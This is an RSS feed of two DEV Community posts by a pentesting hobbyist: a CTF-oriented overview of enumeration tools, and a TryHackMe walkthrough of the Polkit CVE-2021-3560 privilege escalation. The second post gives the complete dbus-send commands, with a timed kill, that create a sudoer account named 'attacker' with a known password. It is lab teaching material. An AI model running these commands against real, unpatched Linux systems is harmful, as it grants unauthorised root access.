<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Cinnamon1212</title>
    <description>The latest articles on DEV Community by Cinnamon1212 (@cinnamon1212).</description>
    <link>https://dev.to/cinnamon1212</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F661999%2F095b351e-de13-4ea7-9bb4-dbe29fc0bbbe.png</url>
      <title>DEV Community: Cinnamon1212</title>
      <link>https://dev.to/cinnamon1212</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/cinnamon1212"/>
    <language>en</language>
    <item>
      <title>The most important step in hacking - Enumeration</title>
      <dc:creator>Cinnamon1212</dc:creator>
      <pubDate>Mon, 12 Jul 2021 09:26:40 +0000</pubDate>
      <link>https://dev.to/cinnamon1212/the-most-important-step-in-hacking-enumeration-5f38</link>
      <guid>https://dev.to/cinnamon1212/the-most-important-step-in-hacking-enumeration-5f38</guid>
      <description>&lt;h2&gt;
  
  
  What is enumeration?
&lt;/h2&gt;

&lt;p&gt;Enumeration is the first and most important step of any form of hacking. You need an in depth understanding of what you're going up against. For example, in a CTF, you need to know which ports are going to be open and which services they belong to.&lt;/p&gt;

&lt;h2&gt;
  
  
  Network enumeration
&lt;/h2&gt;

&lt;p&gt;Network enumeration is going to give us a better understanding of what targets on a network are doing.&lt;/p&gt;

&lt;h3&gt;
  
  
  Discovering hosts on a network
&lt;/h3&gt;

&lt;p&gt;Tools such as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/netdiscover-scanner/netdiscover"&gt;Net Discover&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Cinnamon1212/IPRanger"&gt;IP Ranger&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Can help us enumerate which devices are on a network using ICMP packets (pings) or ARP. Some specialised tools such as &lt;a href="https://github.com/BloodHoundAD/BloodHound"&gt;Bloodhound&lt;/a&gt; may help us enumerate networks using Active Directory.&lt;/p&gt;

&lt;h3&gt;
  
  
  Discovering open ports on a target
&lt;/h3&gt;

&lt;p&gt;Once we have our target, we need to understand what the target is doing and potential attack vectors. Below is a sample of an nmap scan:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--S7uLYwGN--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/6oa9jmr3bkf6gt1ob0bt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--S7uLYwGN--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/6oa9jmr3bkf6gt1ob0bt.png" alt="NMAP scan"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We can see there are 5 ports open. We may be able to exploit the HTTP service on port 80 or gain access to SSH on port 20. Port scanning can be slow, tools such as &lt;a href="https://github.com/Cinnamon1212/PyRCON"&gt;PyRCON&lt;/a&gt; and &lt;a href="https://github.com/RustScan/RustScan"&gt;Rust Scanner&lt;/a&gt; may help us speed up this process. Typically this isn't necessary but in a KOTH or battlegrounds game, we can't spare the time.&lt;/p&gt;

&lt;h3&gt;
  
  
  Website enumeration
&lt;/h3&gt;

&lt;p&gt;Websites are a huge attack vector as they're often public facing and have countless possible flaws, depending on their configuration. There are many tools that we can use to gain a better understanding of the website. Such as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/Cinnamon1212/PyRCON"&gt;PyRCON&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://tools.kali.org/web-applications/dirbuster"&gt;Dir Buster&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/poerschke/Uniscan"&gt;UniScan&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/urbanadventurer/WhatWeb"&gt;whatweb&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Specialised tools can be used, for example &lt;a href="https://github.com/wpscanteam/wpscan"&gt;WPScan&lt;/a&gt;. Allowing us to enumerate the wordpress CMS.&lt;/p&gt;

&lt;h3&gt;
  
  
  Domain enumeration
&lt;/h3&gt;

&lt;p&gt;In a real-world scenario. You're likely to come across a target with more than one domain, each having it's own subdomains. There's plenty of tools that you can use to discover these. Again, PyRCON offers some options for this but I like tools such as &lt;a href="https://github.com/aboul3la/Sublist3r"&gt;sublist3r&lt;/a&gt; and publicly available records such as &lt;a href="https://securitytrails.com/dns-trails"&gt;security trials&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Tools such as Dig (preinstalled on most Linux distros) may also be used for performing DNS queries, alongside nslookup. They may also be used for resolving a domain name from an IP Address (for example: 45.33.32.156 -&amp;gt; scanme.nmap.org)&lt;/p&gt;

</description>
      <category>hacking</category>
      <category>pentesting</category>
      <category>ctfs</category>
    </item>
    <item>
      <title>Polkit CVE-2021-3560</title>
      <dc:creator>Cinnamon1212</dc:creator>
      <pubDate>Mon, 12 Jul 2021 00:31:27 +0000</pubDate>
      <link>https://dev.to/cinnamon1212/polkit-cve-2021-3560-2ig9</link>
      <guid>https://dev.to/cinnamon1212/polkit-cve-2021-3560-2ig9</guid>
      <description>&lt;h2&gt;
  
  
  Background
&lt;/h2&gt;

&lt;p&gt;Polkit (AKA PolicyKit) is an essential component in Unix-like OSs for controlling system wide privileges. As you can imagine, exploiting this can lead to some nasty privilege escalation. There were a few mainstream OSs vulnerable to this (such as Ubuntu 20.04 and Red Hat Enterprise Linux 8), making this a very impactful exploit.&lt;/p&gt;

&lt;h2&gt;
  
  
  Understanding how and why this works
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;The original report can be found &lt;a href="https://gitlab.freedesktop.org/polkit/polkit/-/issues/140" rel="noopener noreferrer"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Polkit is used to allocate privileges for users and processes. This exploit takes advantage of our ability to kill a dbus-send command the dbus daemon is able to pass Polkit the correct ID. In turn, Polkit errors and substitutes a 0 (all privs/root).&lt;/p&gt;

&lt;h2&gt;
  
  
  Demonstration
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;I'll be using the &lt;a href="https://tryhackme.com/room/polkit" rel="noopener noreferrer"&gt;polkit box&lt;/a&gt; from TryHackMe to demonstrate this&lt;br&gt;
We'll follow through the tutorial process. Our first command is:&lt;br&gt;
&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It's pretty long, let's dissect it. This command will be ran and monitored using "time". Remember we need time in order to check when we need to kill the dbus-send command. Our dbus-send command is going to request to create a user called attacker (and print the reply back to us). Typically we'll see this happen in a GUI and we'd then be prompted to give a password. &lt;br&gt;
That takes us to our next command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$TRiYeJLXw8mLuoxS$UKtnjBa837v4gk8RsQL2qrxj.0P8c9kteeTnN.B3KeeeiWVIjyH17j6sLzmcSHn5HTZLGaaUDMC4MXCjIupp8.' string:'Ask the pentester' &amp;amp; sleep 0.005s; kill $!'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To continue making our new account, we need to provide a password. This takes a Sha512Crypt hash as input and uses that for the password. In plain text, the password is "Expl01ted".&lt;br&gt;
Finally, we'll use the delay that we previously found to kill the command before the dbus-daemon is able to give Polkit our  ID. &lt;br&gt;
We're given a new account called attacker with the password of Expl01ted that's automatically added as a sudoer. We can su into this account and then sudo su to root.&lt;/p&gt;

&lt;h2&gt;
  
  
  How does this look in practice?
&lt;/h2&gt;

&lt;p&gt;Honestly? It looks simpler than you'd expect. Other than the timing of the command, this is a low complexity attack since there's copy and paste dbus commands that we can use for this. Though even without those, some understanding of using dbus utils will let you exploit this. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fx9qaf6fl8ibxdxuneojo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fx9qaf6fl8ibxdxuneojo.png" alt="exploit"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>cve</category>
      <category>hacking</category>
      <category>pentesting</category>
      <category>polkit</category>
    </item>
  </channel>
</rss>
